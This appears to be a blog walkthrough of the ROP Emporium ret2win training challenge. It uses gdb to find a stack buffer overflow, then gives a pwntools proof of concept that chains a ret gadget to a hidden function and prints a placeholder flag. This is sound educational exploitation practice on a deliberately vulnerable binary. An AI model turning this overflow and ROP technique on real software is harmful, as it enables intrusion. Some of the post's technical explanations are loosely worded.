Post

ROP Emporium ret2win

ROP Emporium ret2win Walkthrough. This is a short walkthrough on the ROP Emporium ret2win challenge.

ROP Emporium ret2win

Introduction

When it comes to binary exploitation, the high level concepts remain the same with a few per platform distinctions. Linux is relatively easier to work with due to it being open-source, which makes exploit writing less complicated, but your mileage may vary depending on your experience and overall understanding of low-level computer achitecture concepts. I usually try to steer clear of Linux exploit development due to a lack of interest, but developing advanced rootkits and kernel modules have always piqued my interest. This walkthrough would be the first of many on my journey to building advanced Linux implants. Like with many things in life, we must start from the basics, it never hurts!

Being a bit rusty, I figured completing the free challenges on ROP Emporium is a great start. I’m more interested in heap exploitation because I have little experience developing heap-corruption-based exploits on Linux. It turns out the author of this platform has a Udemy course on that, it’s reasonably priced, so I bought all three parts. But I have decided to complete the stack-based memory corruption challenges first. The ret2win challenge is one of many, so let’s get started.

The first thing that came to mind when I starting looking at this challenge was the name. In most of these CTF based challenges, the names are indicative of something relevant to the solution. Ret2libc (short for “return-to-libc”) is a method of attack that leverages pre-existing code within the standard C library (libc) to bypass modern security mitigations, specifically Data Execution Prevention (DEP). There are lots of ways to check for the active mitigations enabled on a binary, but checksec.sh is my preferred. We can check this as such:

1
2
3
offstrike@offstrike:/eporium# checksec.sh --file ./ret2win 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./ret2win

The output above shows that only DEP is enabled. The W^X flag is referenced by the NX bit on AMD based processors. When this is enabled, we cannot arbitrarily write and execute on the stack at runtime, which is where ret2libc comes in. DEP works by allowing the execution of only the intructions present in the on system copy of the original binary, but this also unintentionally allows us to execute any instructions in the binary arbitrarily of course. With the right instructions, we can redirect and control the execution flow without writing new instructions to the stack, and it was based on this idea that Return-Oriented-Progamming (ROP) was formed. Anyhow, the goal here is to use ROP to retrieve the content of flag.txt, which is the whole purpose of a CTF.

Examine the Binary

The first task is understanding how the binary works; it’s hard to exploit something that we don’t understand. I like to run the binary and play with it for a few minutes with the following questions in mind:

  • What does this thing do?
  • How does it do the thing it does?
  • What does it need from me?
  • How much input can it take?

All these questions are important, but the most important one is the last one: How much input can it take? This is alluding to the size of the input buffer, especially if it takes arguments from the user. Let’s give this a try:

1
2
3
4
5
6
7
8
9
10
11
12
offstrike@offstrike:/eporium# ./ret2win 
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Hi there, I am here to get my flag!
Thank you!

Exiting

The application is already telling us too much, which is fine because they want us to focus on building a ROP chain rather than discovering then exploiting the vulnerability. If you are having issues understanding what the hell they are talking about with 56 and 32 bytes, disregard that because I will show you. Let’s start GDB with the application attached.

1
offstrike@offstrike:/eporium# gdb ./ret2win

We want to disassemble the application main function, which we should be able to do because the application is not stripped, so the symbol table is present. We can check this with the file ./ret2win command. We want to find function calls that are not in the standard library, but local to the application.

gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000000000400697 <+0>:	push   rbp
   0x0000000000400698 <+1>:	mov    rbp,rsp
   0x000000000040069b <+4>:	mov    rax,QWORD PTR [rip+0x2009b6]        # 0x601058 <stdout@@GLIBC_2.2.5>
   0x00000000004006a2 <+11>:	mov    ecx,0x0
   0x00000000004006a7 <+16>:	mov    edx,0x2
   0x00000000004006ac <+21>:	mov    esi,0x0
   0x00000000004006b1 <+26>:	mov    rdi,rax
   0x00000000004006b4 <+29>:	call   0x4005a0 <setvbuf@plt>
   0x00000000004006b9 <+34>:	mov    edi,0x400808
   0x00000000004006be <+39>:	call   0x400550 <puts@plt>
   0x00000000004006c3 <+44>:	mov    edi,0x400820
   0x00000000004006c8 <+49>:	call   0x400550 <puts@plt>
   0x00000000004006cd <+54>:	mov    eax,0x0
   0x00000000004006d2 <+59>:	call   0x4006e8 <pwnme>
   0x00000000004006d7 <+64>:	mov    edi,0x400828
   0x00000000004006dc <+69>:	call   0x400550 <puts@plt>
   0x00000000004006e1 <+74>:	mov    eax,0x0
   0x00000000004006e6 <+79>:	pop    rbp
   0x00000000004006e7 <+80>:	ret    
End of assembler dump.

The main function appears to be printing some texts to the screen, then it calls pwnme, which sounds like something we should check out. We will disassemble that function as well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ disass pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:	push   rbp
   0x00000000004006e9 <+1>:	mov    rbp,rsp
   0x00000000004006ec <+4>:	sub    rsp,0x20
   0x00000000004006f0 <+8>:	lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:	mov    edx,0x20
   0x00000000004006f9 <+17>:	mov    esi,0x0
   0x00000000004006fe <+22>:	mov    rdi,rax
   0x0000000000400701 <+25>:	call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:	mov    edi,0x400838
   0x000000000040070b <+35>:	call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:	mov    edi,0x400898
   0x0000000000400715 <+45>:	call   0x400550 <puts@plt>
   0x000000000040071a <+50>:	mov    edi,0x4008b8
   0x000000000040071f <+55>:	call   0x400550 <puts@plt>
   0x0000000000400724 <+60>:	mov    edi,0x400918
   0x0000000000400729 <+65>:	mov    eax,0x0
   0x000000000040072e <+70>:	call   0x400570 <printf@plt>
   0x0000000000400733 <+75>:	lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:	mov    edx,0x38
   0x000000000040073c <+84>:	mov    rsi,rax
   0x000000000040073f <+87>:	mov    edi,0x0
   0x0000000000400744 <+92>:	call   0x400590 <read@plt>
   0x0000000000400749 <+97>:	mov    edi,0x40091b
   0x000000000040074e <+102>:	call   0x400550 <puts@plt>
   0x0000000000400753 <+107>:	nop
   0x0000000000400754 <+108>:	leave  
   0x0000000000400755 <+109>:	ret    
End of assembler dump.

This function like the one before is also printing some texts, then it calls read(), with 0x20. This value looks like the size of the input buffer being passed to read(). Let’s convert this to decimal:

1
2
gdb-peda$ p/d 0x20
$1 = 32

There’s also another value after that, 0x38, let’s convert that too:

1
2
gdb-peda$ p/d 0x38
$2 = 56

It might help if we take a look at the prototype for the read() function.

1
ssize_t read(int fd, void *buf, size_t count);

The read() function takes three arguments to perform its operation:

  • int fd: The file descriptor of the open file or device from which data is to be read.
  • void *buf: A pointer to the memory buffer where the read data will be stored.
  • size_t count: The maximum number of bytes to attempt to read from the file descriptor.

Armed with this information, it’s safe to say the memory buffer that will store the input has a size of 32 bytes, and the maximum number of bytes to read is 56 bytes. This is where those values came from, but what do they mean? It means we can only pass 56 bytes to the application and 32 bytes of that would crash the application with a segmentation fault. Technically we can pass as many bytes as we want to the application, but it will only read 56 bytes. Let’s take a look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ run < <(python -c 'print("A"*32 + "DEADCODE")')
...
[----------------------------------registers-----------------------------------]
RAX: 0x1058bf5f 
RBX: 0x0 
RCX: 0x7ffff7af4264 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dd18c0 --> 0x0 
RSI: 0x7ffff7dd07e3 --> 0xdd18c0000000000a 
RDI: 0x1 
RBP: 0x45444f4344414544 ('DEADCODE')
RSP: 0x7fffffffe350 --> 0x400780 (<__libc_csu_init>:	push   r15)
RIP: 0x40060f (<deregister_tm_clones+31>:	(bad))
R8 : 0xa ('\n')
R9 : 0x7ffff7fde4c0 (0x00007ffff7fde4c0)
R10: 0x3 
R11: 0x246 
R12: 0x4005b0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe430 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]

With the buffer above, we were able to crash the application and will overwrite the Instruction Pointer (IP) with the value in the RBP register with proper stack alignment. We are on the right track. Let’s update the input buffer and try again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ run < <(python -c 'print("A"*32 + "CATELOOP" + "PETELAKE" + "DEADCODE")')
...
[----------------------------------registers-----------------------------------]
RAX: 0xb ('\x0b')
RBX: 0x0 
RCX: 0x7ffff7af4264 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dd18c0 --> 0x0 
RSI: 0x7ffff7dd07e3 --> 0xdd18c0000000000a 
RDI: 0x1 
RBP: 0x504f4f4c45544143 ('CATELOOP')
RSP: 0x7fffffffe348 ("PETELAKEDEADCODE\227[\240\367\377\177")
RIP: 0x400755 (<pwnme+109>:	ret)
R8 : 0xa ('\n')
R9 : 0x7ffff7fde4c0 (0x00007ffff7fde4c0)
R10: 0x3 
R11: 0x246 
R12: 0x4005b0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe430 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]

We are one step closer to true stack alignment, which is being able to control the value that ends up in the RIP register after the crash. With the way x64 works, it may be a little tricky to achieve stack alignment especially when calling a function, we will take a look at this shortly. The question is why don’t we have proper stack alignment thus far? Technically we do because the last intruction in the RIP register is ret, which is supposed to return execution to the calling function (main), but the return address has been overwritten with the string CATELOOP. I’m bringing this up because you might think we don’t have stack alignment if you are expecting the value in the RIP register after the crash to be a controlled value like we would typically see if this was an x86 binary.

Building the Exploit

At this point, we have a way to trigger the vulnerability but there’s nothing interesting in the pwnme function that we can use. Why is this even called ret2win? Maybe there’s a reason but based on the method employed earlier to find pwnme, we didn’t find any function with that name, but there are other ways to check.

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ shell nm ./ret2win | grep ' t '
00000000004005f0 t deregister_tm_clones
0000000000400660 t __do_global_dtors_aux
0000000000600e18 t __do_global_dtors_aux_fini_array_entry
0000000000400690 t frame_dummy
0000000000600e10 t __frame_dummy_init_array_entry
0000000000600e18 t __init_array_end
0000000000600e10 t __init_array_start
00000000004006e8 t pwnme
0000000000400620 t register_tm_clones
0000000000400756 t ret2win

It’s interesting that we didn’t see the ret2win function before. Well, that’s because there’s no reference to this function within the main execution flow, it might be a function that was defined but never used, which is possibly why we couldn’t find it. Let’s disassemble this function and checkout the instructions:

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ disass ret2win
Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:	    push   rbp
   0x0000000000400757 <+1>:	    mov    rbp,rsp
   0x000000000040075a <+4>:	    mov    edi,0x400926
   0x000000000040075f <+9>:	    call   0x400550 <puts@plt>
   0x0000000000400764 <+14>:	mov    edi,0x400943
   0x0000000000400769 <+19>:	call   0x400560 <system@plt>
   0x000000000040076e <+24>:	nop
   0x000000000040076f <+25>:	pop    rbp
   0x0000000000400770 <+26>:	ret    
End of assembler dump.

It looks like we might have something interesting here. What is system executing? Let’s check that address:

1
2
3
gdb-peda$ x/8s 0x400943
0x400943:	"/bin/cat flag.txt"
...

That address holds the string command that is being executed by the system call. We are in a good spot, just need to assemble the pieces. We have a way of excuting instructions, so maybe we can pass the address of the ret2win function and that should redirect the execution flow and print the flag. To maintain stack alignment, we cannot just send 32 bytes plus the address of ret2win to the application, we have to put a valid instruction address before that, to basically redirect the execution flow back to the stack. A ret instruction should do that, and because we are calling this function via a ROP chain, we need to account for the stack alignment. On a 64 bit system, the stack needs to be 16 bytes aligned before a function call, this is usually done by the OS via the function prologue routine, when an eight byte value (return address) is also added to the stack, in this case that doesn’t happen so we need to account for that, or we won’t get the desired results. Let’s take a look at the logic:

1
Buff + Return Gadget Addr -> ret2Win Addr

Let’s find a ret gadget we can use:

1
2
3
4
5
gdb-peda$ ropsearch "ret"
Searching for ROP gadget: 'ret' in: binary ranges
...
0x00400770 : (b'c3')	ret
...

Let’s also revist the ret2win function, we need to skip the function prologue and just jump to the first instruction, so we need that address. If we don’t do this, the exploit won’t work because of the lack of stack alignment prior to the function call.

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ disass ret2win
Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:	    push   rbp
   0x0000000000400757 <+1>:	    mov    rbp,rsp
   0x000000000040075a <+4>:     mov    edi,0x400926         # First Instruction
   0x000000000040075f <+9>:	    call   0x400550 <puts@plt>
   0x0000000000400764 <+14>:	mov    edi,0x400943
   0x0000000000400769 <+19>:	call   0x400560 <system@plt>
   0x000000000040076e <+24>:	nop
   0x000000000040076f <+25>:	pop    rbp
   0x0000000000400770 <+26>:	ret    
End of assembler dump.

Let’s put it all together and test it in GDB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gdb-peda$ run < <(python -c 'print("A"*32 + "\x70\x07\x40\x00\x00\x00\x00\x00" + "\x5a\x07\x40\x00\x00\x00\x00\x00")')
Starting program: /home/deadlist/eporium/ret2win < <(python -c 'print("A"*32 + "\x70\x07\x40\x00\x00\x00\x00\x00" + "\x5a\x07\x40\x00\x00\x00\x00\x00")')
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
[New process 100634]
process 100634 is executing new program: /bin/dash
[New process 100635]
process 100635 is executing new program: /bin/cat
ROPE{a_placeholder_32byte_flag!}                     # Flag
[Inferior 4 (process 100635) exited normally]
Warning: not running

Final PoC

It’s always a good practice to use Python for the final PoC for any exploit we write. The language doesn’t necessarily have to be Python, but the PoC needs to be structured in a way that is easier for users and other exploit developers to understand and potentially make changes to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from pprint import pprint  

exe = './ret2win'
elf = ELF(exe)
context.binary = elf 

p = process(exe)

offset = 32
ret2win_skip_prologue = 0x40075a 
ret_gadget = 0x400770

# Construct the payload
payload = flat(
    b"A" * offset,         # 0. Padding to reach return address
    ret_gadget,            # 1. ret gadget (0x400770) - Aligns stack
    ret2win_skip_prologue  # 2. ret2win address (0x40075a) - Skips prologue
)

# Send the payload
print(f"[*] Sending payload length: {len(payload)}")
p.sendline(payload)

# Receive all output until the program closes/crashes
output = p.recvall()

# --- Print the output ---
print("\n[*] Raw Output (pprint):")
pprint(output)

print("\n[*] Decoded Output (Clean):")
try:
    # Attempt to decode bytes to string for a cleaner view of the flag
    print(output.decode('latin-1'))
except Exception as e:
    print(output)

Testing the PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
offstrike@offstrike:/eporium# python3 ./ret2win-exploit.py 
...
[*] '/home/deadlist/eporium/ret2win'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Starting local process './ret2win': pid 103676
[*] Sending payload length: 48
[+] Receiving all data: Done (329B)
[*] Process './ret2win' stopped with exit code 0 (pid 103676)

[*] Raw Output (pprint):
(b'ret2win by ROP Emporium\nx86_64\n\nFor my first trick, I will attempt to fi'
 b't 56 bytes of user input into 32 bytes of stack buffer!\nWhat could possi'
 b"bly go wrong?\nYou there, may I have your input please? And don't worry a"
 b"bout null bytes, we're using read()!\n\n> Thank you!\nWell done! Here's you"
 b'r flag:\nROPE{a_placeholder_32byte_flag!}\n')

[*] Decoded Output (Clean):
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}